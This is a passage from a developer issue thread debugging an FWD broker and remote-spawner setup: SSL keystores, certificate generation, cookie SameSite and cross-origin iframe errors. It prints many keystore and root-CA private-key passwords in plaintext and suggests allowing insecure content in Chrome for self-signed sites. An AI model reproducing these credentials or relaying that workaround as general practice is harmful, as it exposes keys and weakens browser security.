[shared] was saved in the [shared-private-key.store] key store, using store password [mzDoMKiU@3B40EgbHEu^4d~W5Z~09Xv5] and key-entry password [mzDoMKiU@3B40EgbHEu^4d~W5Z~09Xv5]. The private key for certificate [standard] was saved in the [standard-private-key.store] key store, using store password [Xhqv5d42WNugrJ`^k@6_m4wjyk1jW3g5] and key-entry password [Xhqv5d42WNugrJ`^k@6_m4wjyk1jW3g5]. The servers' certificates [standard] were saved in the [srv-certs.store] key store, using password [Xhqv5d42WNugrJ`^k@6_m4wjyk1jW3g5]. The root CA's private key and certificate were saved in the [root-ca-pk.store] store. The key store was encrypted using the [1CL2TGS<3Yh$O%cfM!K1T23eNSeU5lOG9lkI] password, while the root CA's private key was encrypted using the [^u0mrGn)o2X5nor109+KAvt&teTCn2v7] password. Done. WARNING! Any configuration set at the client.xml or server.xml files or via bootstrap config arguments will have priority over the in-directory keys or certificates. WARNING! The private key encryption passwords for all the account certificates are saved unencrypted in the directory. The root CA's private key can be safely deleted, if it is not required to issue other certificates using this CA.
If I were to extract values to put into the broker1_client.xml, I think I would get:
<access>
<password truststore="Xhqv5d42WNugrJ`^k@6_m4wjyk1jW3g5" />
<password keystore="7sN5iwk$E4W1cJ>0M~ID>E2hTNt1ZI0x" />
<password keyentry="7sN5iwk$E4W1cJ>0M~ID>E2hTNt1ZI0x"/>
<password masterkeyentry="^u0mrGn)o2X5nor109+KAvt&teTCn2v7" />
</access>
But this does not let my broker client connect. It is odd that the keystore and keyentry were the same.
The output on the client is:
INFO: Spawn process started with pid 6194.
25/10/21 17:11:44.435-0400 | FINER | com.goldencode.p2j.net.SessionManager [SessionManager.createQueue()] | ThreadName:main | host = fwddev1; port = 3333; secure = true;
25/10/21 17:11:44.802-0400 | SEVERE | com.goldencode.p2j.main.NativeSecureConnection | ThreadName:main | Problem retrieving the spawn command, using these settings: port [3333] host [fwddev1] alias [standard] UUID [400e15ae-3d7c-4a57-b08e-5dfa4d2d63d2]
java.net.SocketException: Socket is closed
at java.base/sun.security.ssl.SSLSocketImpl.getOutputStream(SSLSocketImpl.java:1238)
at com.goldencode.p2j.net.NetSocketWrapper.<init>(NetSocketWrapper.java:129)
at com.goldencode.p2j.net.NetSocket$1.create(NetSocket.java:117)
at com.goldencode.p2j.net.SessionManager.connect(SessionManager.java:1315)
at com.goldencode.p2j.net.SessionManager.createQueue(SessionManager.java:1176)
at com.goldencode.p2j.net.LeafSessionManager.connectDirect(LeafSessionManager.java:256)
at com.goldencode.p2j.main.NativeSecureConnection.command(NativeSecureConnection.java:156)
SEVERE: -107 method:CallStaticObjectMethod(command)
#192 Updated by Sergey Ivanovskiy 9 months ago
I do not know why you have this result but you can try to remove this setting
<password masterkeyentry="^u0mrGn)o2X5nor109+KAvt&teTCn2v7" />
My plan is to add "Content-Security-Policy" header with the corresponding directives to permit cross origin loading resources and scripts working. I did not succeed in this way but got partially loaded main-frame page index.html so the certificates are not the root cause issue. For me clients are remotely spawned but the browser prevents iframe to load the target content.
#193 Updated by Sergey Ivanovskiy 9 months ago
At this moment I got the following jconsole logs and should investigate its root cause. Why were these GET requests rejected?
#194 Updated by Roger Borrello 9 months ago
Sergey Ivanovskiy wrote:
At this moment I got the following jconsole logs and should investigate its root cause. Why were these GET requests rejected?
We are looking at the connection between the web browser and the jetty server running on the broker, correct? All those seem to be authorization errors. I am not familiar with this area at all. Should the browser import a certificate?
#195 Updated by Sergey Ivanovskiy 9 months ago
No, we are looking at the connection with java web client and jscript web client.
#196 Updated by Sergey Ivanovskiy 9 months ago
Sergey Ivanovskiy wrote:
At this moment I got the following jconsole logs and should investigate its root cause. Why were these GET requests rejected?
The root cause was that cookie was not sent with each sub request due to SameSite=Strict policy of authentication cookie. Tomorrow I will commit my changes for remote spawner.
#197 Updated by Roger Borrello 9 months ago
Sergey Ivanovskiy wrote:
The root cause was that cookie was not sent with each sub request due to
SameSite=Strictpolicy of authentication cookie. Tomorrow I will commit my changes for remote spawner.
I look forward to testing! I also want to get the certificate requirements for adding the broker to the configuration settled... starting with the current hotel_gui, and just adding a broker.
Is there any relation to what you are fixing and #10766?
#198 Updated by Sergey Ivanovskiy 9 months ago
No, #10766 is not related. In this task I should fix parameters issue so that all target parameters would be delivered to the web client via the spawned process correctly and fix cross origin issue that enable the remote web client to be included into the parent web page served by the server side but all these fixes seem enough to start web clients remotely.
#199 Updated by Sergey Ivanovskiy 9 months ago
I also want to get the certificate requirements for adding the broker to the configuration settled... starting with the current hotel_gui, and just adding a broker.
I thought that you already built and configured them correctly as it was discussed above in this task. I have nothing new to add to this process.
#200 Updated by Sergey Ivanovskiy 9 months ago
Roger, could you test with your environment rev 16228 (9709b)? I have not installed FWD on the virtual machine yet, but will setup my environment later.
#201 Updated by Sergey Ivanovskiy 9 months ago
Roger Borrello wrote:
Install the base Ubuntu OS from the Live ISO:
ubuntu-24.04.2-live-server-amd64.isoMake primary user "fwd", password "fwd". Nothing special. After completion, install the mgmt project. That is why
-adminuserwould be fwd.
I missed this instruction and proceeded further. Should I added manually OS user fwd?
#202 Updated by Sergey Ivanovskiy 9 months ago
I tested rev 16228 (9709b) in this environment ubuntu-24.04.2 and openjdk version "17.0.16" 2025-07-15, where broker client was run and the server was run on different environment ubuntu-22.04 and openjdk version "1.8.0_462". The broker connected to the server successfully and removed on CTRL+C, the js web client was located on the server host and tried to access the web client. The registered broker started the spawn process successfully but the java process started by the spawned process was failed without any logs.
Planning to test with openjdk 8.
#203 Updated by Sergey Ivanovskiy 9 months ago
For openjdk version "1.8.0_462" the broker spawns the web client successfully. So for openjdk version "17.0.16" 2025-07-15 it does not work.
#204 Updated by Sergey Ivanovskiy 9 months ago
With Java 8 and Chrome using self-signed certificates does not work from the box, so it needs to add exceptions and permits to load injected page separately in new tab. At this moment I do not know what should be added for Chrome that it works out of the box.
#205 Updated by Sergey Ivanovskiy 9 months ago
It seems it is important to use valid certificates in order that the spawned remotely web clients work out of the box.
#206 Updated by Sergey Ivanovskiy 9 months ago
Sergey Ivanovskiy wrote:
With Java 8 and Chrome using self-signed certificates does not work from the box, so it needs to add exceptions and permits to load injected page separately in new tab. At this moment I do not know what should be added for Chrome that it works out of the box.
I guess that it needs to add injected site into All Site data. Search Settings for All Site and add the injected site into this list and set custom permissions for this site: Allow insecure content, Allow Jscript and ...
#207 Updated by Sergey Ivanovskiy 9 months ago
- Status changed from WIP to Review
So I should postpone this task because the current changes rev 16228 (9709b) is enough to perform remote spawn. The certificate issue is different. For example, Firefox does not permit to embed sites that use self-signed certificates and Chrome should do the same.
#209 Updated by Sergey Ivanovskiy 9 months ago
- File HotelGuiWithBroker_part1.mkv added
- File HotelGuiWithBrokerPart2.mkv added
Sergey Ivanovskiy wrote:
With Java 8 and Chrome using self-signed certificates does not work from the box, so it needs to add exceptions and permits to load injected page separately in new tab. At this moment I do not know what should be added for Chrome that it works out of the box.
In order to clarify what is the certificate issue. Please look at this two parts video that shows onetime setup of HotelGui self-signed certificate for Chrome. This setup should be repeated If all Browsing data were cleaned (sites settings, cookies).
#210 Updated by Sergey Ivanovskiy 9 months ago
- File deleted (
HotelGuiWithBroker_part1.mkv)
#211 Updated by Sergey Ivanovskiy 9 months ago
- File HotelGuiWithBrokerPart1.mkv added
#212 Updated by Sergey Ivanovskiy 9 months ago
Rebased 9709b and added missed history rev. 16251.
#213 Updated by Roger Borrello 9 months ago
Sergey Ivanovskiy wrote:
Rebased 9709b and added missed history rev. 16251.
I am back from my 60th birthday weekend, and getting back up-to-speed.
#214 Updated by Sergey Ivanovskiy 9 months ago
Roger, my warmest congratulations on your great anniversary!
#215 Updated by Roger Borrello 9 months ago
Sergey Ivanovskiy wrote:
Roger, my warmest congratulations on your great anniversary!
Thank you! A previous co-worker gave me a lapel pin: "I am older than the internet!" That hurts!
#216 Updated by Roger Borrello 9 months ago
- File directory.xml
added
Getting things going again is proving much more difficult than I'd like :-(. I was getting improper certificate from the broker:
25/10/28 10:07:41.757-0400 | SEVERE | com.goldencode.p2j.main.BrokerCore [BrokerCore.connect()] | ThreadName:main | Connection Exception. com.goldencode.p2j.cfg.ConfigurationException: misconfigured keystore broker1-private-key.store
I am trying to reset my environment, but not my CertGen is having issues:
java -classpath ~/projects/fwd/trunk/build/lib/p2j.jar com.goldencode.p2j.security.SSLCertGenUtil -dir directory.xml
Initializing service for directory directory.xml...
Reading company configuration...
Using 'US' for [C] Country Code.
Using 'Alpharetta' for [L] Locality (city, etc).
Using 'GoldenCode' for [O] Organization.
Using 'Hotel' for [OU] Organization Unit.
Using 'GA' for [ST] State or Province Name.
Using 10 years for validity.
Adding account /security/accounts/processes/standard
Adding account /security/accounts/processes/ehotel
Adding account /security/accounts/processes/embedded
Adding account /security/accounts/processes/broker1_process
Adding account /security/accounts/users/bogus
WARNING: alias shared is set for multiple accounts!
Account /security/accounts/users/hotel ignored - no alias is defined
Enter the target P2J server identifier (by default "standard"):
Re-use the encryption passwords currently in the directory (yes/no): no
Re-use the root CA currently in the directory (yes/no): yes
Enter the root CA private-key encryption password: ^u0mrGn)o2X5nor109+KAvt&teTCn2v7
Re-using root CA using [hotel-root] alias...
Exception in thread "main" com.goldencode.p2j.security.SSLCertGenException: com.goldencode.p2j.security.SSLCertGenException: org.bouncycastle.crypto.InvalidCipherTextException: pad block corrupted
at com.goldencode.p2j.security.SSLCertGenUtil.generateRootCA(SSLCertGenUtil.java:1484)
at com.goldencode.p2j.security.SSLCertGenUtil.generate(SSLCertGenUtil.java:478)
at com.goldencode.p2j.security.SSLCertGenUtil.main(SSLCertGenUtil.java:1974)
Caused by: com.goldencode.p2j.security.SSLCertGenException: org.bouncycastle.crypto.InvalidCipherTextException: pad block corrupted
at com.goldencode.p2j.security.BCCertFactory.cipherBytes(BCCertFactory.java:224)
at com.goldencode.p2j.security.BCCertFactory.decryptPrivateKey(BCCertFactory.java:275)
at com.goldencode.p2j.security.SSLCertGenUtil.generateRootCA(SSLCertGenUtil.java:1441)
... 2 more
Caused by: org.bouncycastle.crypto.InvalidCipherTextException: pad block corrupted
at org.bouncycastle.crypto.paddings.PKCS7Padding.padCount(Unknown Source)
at org.bouncycastle.crypto.paddings.PaddedBufferedBlockCipher.doFinal(Unknown Source)
at com.goldencode.p2j.security.BCCertFactory.cipherBytes(BCCertFactory.java:214)
... 4 more
#217 Updated by Sergey Ivanovskiy 9 months ago
I have only an idea to reset root CA by Re-use the root CA currently in the directory (yes/no): no.
#218 Updated by Roger Borrello 9 months ago
Roger Borrello wrote:
Getting things going again is proving much more difficult than I'd like :-(. I was getting improper certificate from the broker:
[...]
I am trying to reset my environment, but not my CertGen is having issues:
[...]
I was using a directory that didn't have the broker1 process listed within it. I also did not reuse certificates. However, this is not really how I want to operate. When we are adding brokers to a configuration, I want to add the certificate to the configuration, not recreate all of them.
#219 Updated by Roger Borrello 9 months ago
Still, the broker cannot connect. The log things it is tampered with. I am retrieving from the GenCert output the values in to put into the broker1_client.xml, but the server logs:
25/10/28 16:32:25.721-0400 | WARNING | com.goldencode.p2j.net.RouterSessionManager [Incoming.run()] | ThreadName:Incoming SSL Connector#7 | initialization failure
java.net.SocketException: Socket is closed
at java.base/sun.security.ssl.SSLSocketImpl.getOutputStream(SSLSocketImpl.java:1238)
at com.goldencode.p2j.net.NetSocketWrapper.<init>(NetSocketWrapper.java:129)
at com.goldencode.p2j.net.NetSocket$1.create(NetSocket.java:117)
at com.goldencode.p2j.net.RouterSessionManager$Incoming.run(RouterSessionManager.java:1590)
at java.base/java.lang.Thread.run(Thread.java:840)
The broker logs:
25/10/28 16:32:15.639-0400 | SEVERE | com.goldencode.p2j.main.BrokerCore [BrokerCore.connect()] | ThreadName:main | Connection Exception.
com.goldencode.p2j.cfg.ConfigurationException: misconfigured keystore broker1-private-key.store
at com.goldencode.p2j.security.TransportSecurity.loadKeyStore(TransportSecurity.java:387)
at com.goldencode.p2j.security.TransportSecurity.<init>(TransportSecurity.java:191)
at com.goldencode.p2j.security.SecurityManager$CertificateSecurityManager.getTransportSecurity(SecurityManager.java:6779)
at com.goldencode.p2j.security.SecurityManager$ContextSecurityManager.getSecureSocketContext(SecurityManager.java:5850)
at com.goldencode.p2j.net.SessionManager.connect(SessionManager.java:1288)
at com.goldencode.p2j.net.SessionManager.createQueue(SessionManager.java:1176)
at com.goldencode.p2j.net.LeafSessionManager.connectDirect(LeafSessionManager.java:256)
at com.goldencode.p2j.main.BrokerCore.connect(BrokerCore.java:552)
at com.goldencode.p2j.main.BrokerCore.start(BrokerCore.java:234)
at com.goldencode.p2j.main.ClientDriver.start(ClientDriver.java:283)
at com.goldencode.p2j.main.CommonDriver.process(CommonDriver.java:522)
at com.goldencode.p2j.main.ClientDriver.process(ClientDriver.java:173)
at com.goldencode.p2j.main.ClientDriver.main(ClientDriver.java:347)
Caused by: java.io.IOException: Keystore was tampered with, or password was incorrect
at java.base/sun.security.provider.JavaKeyStore.engineLoad(JavaKeyStore.java:813)
at java.base/sun.security.util.KeyStoreDelegator.engineLoad(KeyStoreDelegator.java:221)
at java.base/java.security.KeyStore.load(KeyStore.java:1473)
at com.goldencode.p2j.security.TransportSecurity.loadKeyStore(TransportSecurity.java:377)
... 12 more
Caused by: java.security.UnrecoverableKeyException: Password verification failed
at java.base/sun.security.provider.JavaKeyStore.engineLoad(JavaKeyStore.java:811)
... 15 more
The server actually services the webclient, not the broker.
The steps I performed...
1) Used java -classpath ~/projects/fwd/trunk/build/lib/p2j.jar com.goldencode.p2j.security.SSLCertGenUtil -dir directory.xml
2) Copy broker1-private-key.store and srv-certs.store to fwddev2 broker directory
3) Populate broker1_client.xml directory with values from output of SSLCertGenUtil (I can provide details, if this is in doubt. I followed #9709-186)
4) Ran ./install_spawner.sh -a -n ~/projects/fwd/9709b/spawner/spawn -t ~/projects/fwd/9709b/spawner/postbuild.sh on fwddev1 Output:
[sudo] password for fwd: Installing... spawn tool: /home/fwd/projects/fwd/9709b/spawner/spawn to /opt/spawner/spawn certificate file: /home/fwd/projects/hotel_gui/deploy/server/srv-certs.store to /opt/spawner/srv-certs.store p2j.jar: /home/fwd/projects/hotel_gui/p2j/build/lib/p2j.jar to /opt/spawner/p2j.jar aspectj_rt: /home/fwd/projects/fwd/9709b/convert/build/lib/aspectjrt-1.9.21.jar to /opt/spawner/aspectjrt.jar slf4j_api: /home/fwd/projects/fwd/9709b/convert/build/lib/slf4j-api-2.0.13.jar to /opt/spawner/slf4j_api.jar
5) Ran
./install_spawner.sh -a -n ~/projects/fwd/9709b/spawner/spawn -t ~/projects/fwd/9709b/spawner/postbuild.sh -c ./deploy/broker/srv-certs.store on fwddev2 Output:[sudo] password for fwd: Installing... spawn tool: /home/fwd/projects/fwd/9709b/spawner/spawn to /opt/spawner/spawn certificate file: ./deploy/broker/srv-certs.store to /opt/spawner/srv-certs.store p2j.jar: /home/fwd/projects/hotel_gui/p2j/build/lib/p2j.jar to /opt/spawner/p2j.jar aspectj_rt: /home/fwd/projects/fwd/9709b/convert/build/lib/aspectjrt-1.9.21.jar to /opt/spawner/aspectjrt.jar slf4j_api: /home/fwd/projects/fwd/9709b/convert/build/lib/slf4j-api-2.0.13.jar to /opt/spawner/slf4j_api.jar
#220 Updated by Sergey Ivanovskiy 9 months ago
I do not know if this is the issue but generated passwords can have symbols that are not permitted for xml and should be html escaped. For example, ampersands in passwords must be replaced with & amp; sequence. Caused by: java.io.IOException: Keystore was tampered with, or password was incorrect shows that passwords are given incorrectly.
#221 Updated by Roger Borrello 9 months ago
Sergey Ivanovskiy wrote:
I do not know if this is the issue but generated passwords can have symbols that are not permitted for xml and should be html escaped. For example, ampersands in passwords must be replaced with
& amp;sequence.Caused by: java.io.IOException: Keystore was tampered with, or password was incorrectshows that passwords are given incorrectly.
Yes, hence I have:
<access>
<password truststore="no51FaE13r#1ZWbT3nk8RUe#$CyZF@HQavY0" />
<password keystore="Vvs9TE7IeZjA3T6+qFIkpS8Ci0Yv8R3Y>x^%" />
<password keyentry="JeL)BWK2T=435FJpVYaS16DH~J8tMhCO6ks^" />
</access>
Given output of GenCert
#222 Updated by Roger Borrello 9 months ago
Sergey, can you post your zipped up deploy/server and deploy/broker directories?
#223 Updated by Sergey Ivanovskiy 9 months ago
Yes, please download from the Google Disk https://drive.google.com/file/d/1G3ijoQXwOUlcOW4zlWl8DHIdtWHmdtB0/view?usp=sharing
#224 Updated by Roger Borrello 9 months ago
Sergey Ivanovskiy wrote:
Yes, please download from the Google Disk https://drive.google.com/file/d/1G3ijoQXwOUlcOW4zlWl8DHIdtWHmdtB0/view?usp=sharing
That was a lot... but I didn't see the broker directory in there.
#225 Updated by Sergey Ivanovskiy 9 months ago
Roger, did you get hotel_gui.zip? Could this archive be removed? You should have client directory.
Updated: removed this zip file because you already downloaded it
#226 Updated by Roger Borrello 9 months ago
Sergey Ivanovskiy wrote:
Roger, did you get hotel_gui.zip? Could this archive be removed? You should have
clientdirectory.
Yes, I retrieved it. Is there no broker1-private-key.store necessary in the broker directory?
#227 Updated by Sergey Ivanovskiy 9 months ago
Roger Borrello wrote:
Sergey Ivanovskiy wrote:
Roger, did you get hotel_gui.zip? Could this archive be removed? You should have
clientdirectory.Yes, I retrieved it. Is there no
broker1-private-key.storenecessary in the broker directory?
Why it should be in the client directory? The client uses ../server/broker1-private-key.store in its config file broker1_client.xml. All these files you could find there in hotel_gui.
#228 Updated by Roger Borrello 9 months ago
I copied your store files into my deploy directory, and moved your keys and certificates into my bootstrap xml and directory, and I had much more success. I am going to have to find where I went wrong setting up my certificates and keys.
However, there is still something minor going wrong, because a class isn't found:
INFO: Spawn process started with pid 3661.
25/10/29 12:50:45.441-0400 | FINER | com.goldencode.p2j.net.SessionManager [SessionManager.createQueue()] | ThreadName:main | host = fwddev1; port = 3333; secure = true;
25/10/29 12:50:45.822-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: Creating NetSocketWrapper: /192.168.1.162:38213 -> fwddev1/192.168.1.241:3333
25/10/29 12:50:45.825-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: writeInt(2)
25/10/29 12:50:45.826-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: flush
25/10/29 12:50:45.830-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 1
25/10/29 12:50:45.831-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 1
25/10/29 12:50:45.832-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: writeInt(36)
25/10/29 12:50:45.832-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: writeBytes(byte[36])
25/10/29 12:50:45.833-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: flush
25/10/29 12:50:45.838-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 0
25/10/29 12:50:45.839-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 0
25/10/29 12:50:45.840-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readUTF(): ''
25/10/29 12:50:45.841-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readBoolean(): false
25/10/29 12:50:45.842-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readUTF(): 'vUM12625ft2b5mE1'
25/10/29 12:50:46.147-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Writer | Writer: write(byte[46])
25/10/29 12:50:46.151-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Reader | Reader: read(): byte[46]
25/10/29 12:50:46.179-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Writer | Writer: write(byte[189])
25/10/29 12:50:46.185-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Reader | Reader: read(): byte[93]
25/10/29 12:50:46.188-0400 | FINER | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | public abstract java.lang.String[] com.goldencode.p2j.main.RemoteSpawner.getCommand(java.lang.String)
25/10/29 12:50:46.188-0400 | FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | parameters (fd8f4b19-f1b1-4fab-9750-72235ce1a1d9)
25/10/29 12:50:46.189-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Writer | Writer: write(byte[83])
25/10/29 12:50:46.194-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Reader | Reader: read(): byte[591]
25/10/29 12:50:46.195-0400 | FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | result = [fwd, "", /home/fwd/projects/hotel_gui/deploy/broker, java, ${remote.jvm.args}, ${remote.broker.classpath}, com.goldencode.p2j.main.ClientDriver, net:server:host=${remote.host}, net:socket:nio=false, net:ssl:trackSeqNo=false, net:connection:secure=true, net:server:secure_port=${remote.secure.port}, sso:subject:id=bogus, sso:storage:id=storage-hotel, client:web:host=${remote.agent.host}, remote:agent:dedicatedMode=${remote.agent.dedicatedMode}, client:web:port=7449, server:spawner:uuid=fd8f4b19-f1b1-4fab-9750-72235ce1a1d9]
25/10/29 12:50:46.196-0400 | FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | elapsed millis = 6
25/10/29 12:50:46.197-0400 | FINER | com.goldencode.p2j.net.Queue [Queue.disable()] | ThreadName:main | Queue is stopping.
java.lang.RuntimeException: Only a stack trace, not a real exception!
at com.goldencode.p2j.net.Queue.disable(Queue.java:582)
at com.goldencode.p2j.net.SessionManager.endSession(SessionManager.java:1403)
at com.goldencode.p2j.net.BaseSession.terminate(BaseSession.java:243)
at com.goldencode.p2j.main.NativeSecureConnection.command(NativeSecureConnection.java:179)
INFO: The argument number 0 is: fwd.
INFO: The argument number 1 is: "".
INFO: The argument number 2 is: /home/fwd/projects/hotel_gui/deploy/broker.
INFO: The argument number 3 is: java.
INFO: The argument number 4 is: -Xmx1G.
INFO: The argument number 5 is: .
INFO: The argument number 6 is: -Djava.awt.headless=true.
INFO: The argument number 7 is: -Djava.library.path=/home/fwd/projects/hotel_gui/p2j/build/lib/.
INFO: The argument number 8 is: -classpath.
INFO: The argument number 9 is: /home/fwd/projects/hotel_gui/p2j/build/lib/p2j.jar.
INFO: The argument number 10 is: com.goldencode.p2j.main.ClientDriver.
INFO: The argument number 11 is: net:server:host=fwddev1.
INFO: The argument number 12 is: net:socket:nio=false.
INFO: The argument number 13 is: net:ssl:trackSeqNo=false.
INFO: The argument number 14 is: net:connection:secure=true.
INFO: The argument number 15 is: net:server:secure_port=3333.
INFO: The argument number 16 is: sso:subject:id=bogus.
INFO: The argument number 17 is: sso:storage:id=storage-hotel.
INFO: The argument number 18 is: client:web:host=localhost.
INFO: The argument number 19 is: remote:agent:dedicatedMode=true.
INFO: The argument number 20 is: client:web:port=7449.
INFO: The argument number 21 is: server:spawner:uuid=fd8f4b19-f1b1-4fab-9750-72235ce1a1d9.
INFO: Check user account for: fwd.
INFO: The password is null.
INFO: Starting with argv[MIN_ARGS_COMMAND]: (java), argv[MIN_ARGS_COMMAND - 1]: (/home/fwd/projects/hotel_gui/deploy/broker).
INFO: Spawn result code: (0).
INFO: Forked. Setting working directory to /home/fwd/projects/hotel_gui/deploy/broker.
Error: Could not find or load main class
Caused by: java.lang.ClassNotFoundExcept
It shouldn't make any difference that I am using deploy/broker instead of deploy/client. My broker_client.xml remote section has:
<remote>
<retry count="10" />
<retry seconds="10" />
<spawner file="/opt/spawner/spawn" />
<agent host="localhost"/>
<agent user="fwd"/>
<agent dedicatedMode="true"/>
<java args="-Xmx1G -Djava.awt.headless=true -Djava.library.path=/home/fwd/projects/hotel_gui/p2j/build/lib/" />
<java classpath="/home/fwd/projects/hotel_gui/p2j/build/lib/p2j.jar" />
</remote>
#229 Updated by Roger Borrello 9 months ago
Actually, when I changed the remote:agent:host from "localhost" to "fwddev2", I no longer get the class not found exception. Instead, the web client indicates localhost refuses to connect.
The server log for the remote:agent:host="localhost" was:
25/10/29 12:50:44.982-0400 | WARNING | com.goldencode.p2j.util.Utils | ThreadName:qtp50653242-63 | not available host:port localhost/127.0.0.1:7449. 25/10/29 13:02:32.241-0400 | INFO | com.goldencode.p2j.main.Broker [Broker.removeBroker()] | ThreadName:Reader [00000002:broker1_process], Session:00000002, ThreadId:00000006, User:broker1_process | Broker user=broker1_process uuid=a513ea09-c71c-42a5-b4c9-1474abe58939 removed.
The server log for the
remote:agent:host="fwddev2" was:25/10/29 13:02:54.395-0400 | INFO | com.goldencode.p2j.main.BrokerManager [BrokerManager.registerBroker()] | ThreadName:Conversation [00000004:broker1_process], Session:00000004, ThreadId:00000007, User:broker1_process | Broker user=broker1_process uuid=a6beb608-f50f-4fe0-895c-70c290ce4fba registered. 25/10/29 13:03:08.662-0400 | WARNING | com.goldencode.p2j.util.Utils | ThreadName:qtp50653242-65 | not available host:port fwddev2/192.168.1.162:7449. 25/10/29 13:03:16.140-0400 | INFO | com.goldencode.p2j.main.WebDriverHandler | ThreadName:qtp50653242-65 | Returns the redirect url https://localhost:7449/index.html?token=8e652df4a1b7522b151216c2fc60c1cf as response to GUI client.
When I also changed remote:agent:dedicated from "true" to "false" the error on the web changed to: "The webpage at https://fwddev2:7450/index.html?token=0e1a6a4c1e9071d48b04549aec7ddcd2 might be temporarily down or it may have moved permanently to a new web address."
The server log entries:
25/10/29 13:09:58.910-0400 | INFO | com.goldencode.p2j.main.Broker [Broker.removeBroker()] | ThreadName:Reader [00000004:broker1_process], Session:00000004, ThreadId:00000008, User:broker1_process | Broker user=broker1_process uuid=a6beb608-f50f-4fe0-895c-70c290ce4fba removed. 25/10/29 13:10:24.455-0400 | INFO | com.goldencode.p2j.main.BrokerManager [BrokerManager.registerBroker()] | ThreadName:Conversation [00000007:broker1_process], Session:00000007, ThreadId:00000009, User:broker1_process | Broker user=broker1_process uuid=b0527801-6bb3-49b3-9a53-ec36d7884414 registered. 25/10/29 13:10:36.262-0400 | WARNING | com.goldencode.p2j.util.Utils | ThreadName:qtp50653242-113 | not available host:port fwddev2/192.168.1.162:7450. 25/10/29 13:10:40.507-0400 | INFO | com.goldencode.p2j.main.WebDriverHandler | ThreadName:qtp50653242-113 | Returns the redirect url https://fwddev2:7450/index.html?token=0e1a6a4c1e9071d48b04549aec7ddcd2 as response to GUI client.
#230 Updated by Sergey Ivanovskiy 9 months ago
All these indicate that you have correct setup and the software work as expected. Now please look at the video that I posted at
HotelGuiWithBrokerPart1.mkv (2.44 MB) 10/27/2025 11:24 AM HotelGuiWithBrokerPart2.mkv (6.1 MB) 10/27/2025 11:21 AM
You should do onetime setup for your Chrome browser.
#231 Updated by Roger Borrello 9 months ago
Sergey Ivanovskiy wrote:
All these indicate that you have correct setup and the software work as expected. Now please look at the video that I posted at
[...]
You should do onetime setup for your Chrome browser.
Those videos don't show any setup of the browser. Are you sure you posted the correct ones? I did copy/paste the URL that was there, and got the same results... it actually loaded Hotel GUI! After that, now I've tried 10 times, and each time I successfully get into hotel GUI. But the URL is always "fwddev1", not my broker. But I see log messages in the broker on fwddev2... confusing.
#232 Updated by Roger Borrello 9 months ago
Was the copy/paste of the URL the "onetime setup" you are referring to?
#233 Updated by Sergey Ivanovskiy 9 months ago
Roger Borrello wrote:
Was the copy/paste of the URL the "onetime setup" you are referring to?
Yes.
#234 Updated by Sergey Ivanovskiy 9 months ago
Otherwise you should have a valid root certificate and then sign all generated certificates with this root certificate.
#235 Updated by Sergey Ivanovskiy 9 months ago
Roger Borrello wrote:
Sergey Ivanovskiy wrote:
All these indicate that you have correct setup and the software work as expected. Now please look at the video that I posted at
[...]
You should do onetime setup for your Chrome browser.Those videos don't show any setup of the browser. Are you sure you posted the correct ones? I did copy/paste the URL that was there, and got the same results... it actually loaded Hotel GUI! After that, now I've tried 10 times, and each time I successfully get into hotel GUI. But the URL is always "fwddev1", not my broker. But I see log messages in the broker on fwddev2... confusing.
fwddev1 is the server so the main page is loaded from this server but included page was loaded from the fwddev2! This is a cross-site request that is restricted by the browser.
#236 Updated by Roger Borrello 9 months ago
Sergey Ivanovskiy wrote:
Roger Borrello wrote:
Was the copy/paste of the URL the "onetime setup" you are referring to?
Yes.
What actually happened within the browser when we did that? Is that something that could be performed via the browser's settings?
Sergey Ivanovskiy wrote:
Roger Borrello wrote:
Sergey Ivanovskiy wrote:
All these indicate that you have correct setup and the software work as expected. Now please look at the video that I posted at
[...]
You should do onetime setup for your Chrome browser.Those videos don't show any setup of the browser. Are you sure you posted the correct ones? I did copy/paste the URL that was there, and got the same results... it actually loaded Hotel GUI! After that, now I've tried 10 times, and each time I successfully get into hotel GUI. But the URL is always "fwddev1", not my broker. But I see log messages in the broker on fwddev2... confusing.
fwddev1 is the server so the main page is loaded from this server but included page was loaded from the fwddev2! This is a cross-site request that is restricted by the browser.
So there is no indication to the user that the broker is involved at all? This is both very good, and also means that if the customer has any connections between the actual user and which system they are associated with, they would no longer have this.
I believe the customer is working towards de-coupling this, which would be great. They save the screen size (small, medium, large, extra-large) within a file kept in the user's homespace.
#237 Updated by Roger Borrello 9 months ago
Something is just not working in my world. I cannot get hotel_gui to spawn a client. I started from the beginning on my own laptop, without any broker involved, and it just indicates "The spawn process failed with 0 error. Please see spawner logs." I know there is a way to enable the logging, but I don't have that saved in a config, and all the wiki information seems to predate the CentralLogger. Regardless, I went to Hotel ChUI, and it does spawn fine, so I'm at a loss as to why GUI cannot, and ChUI can.
#238 Updated by Eugenie Lyzenko 9 months ago
Roger Borrello wrote:
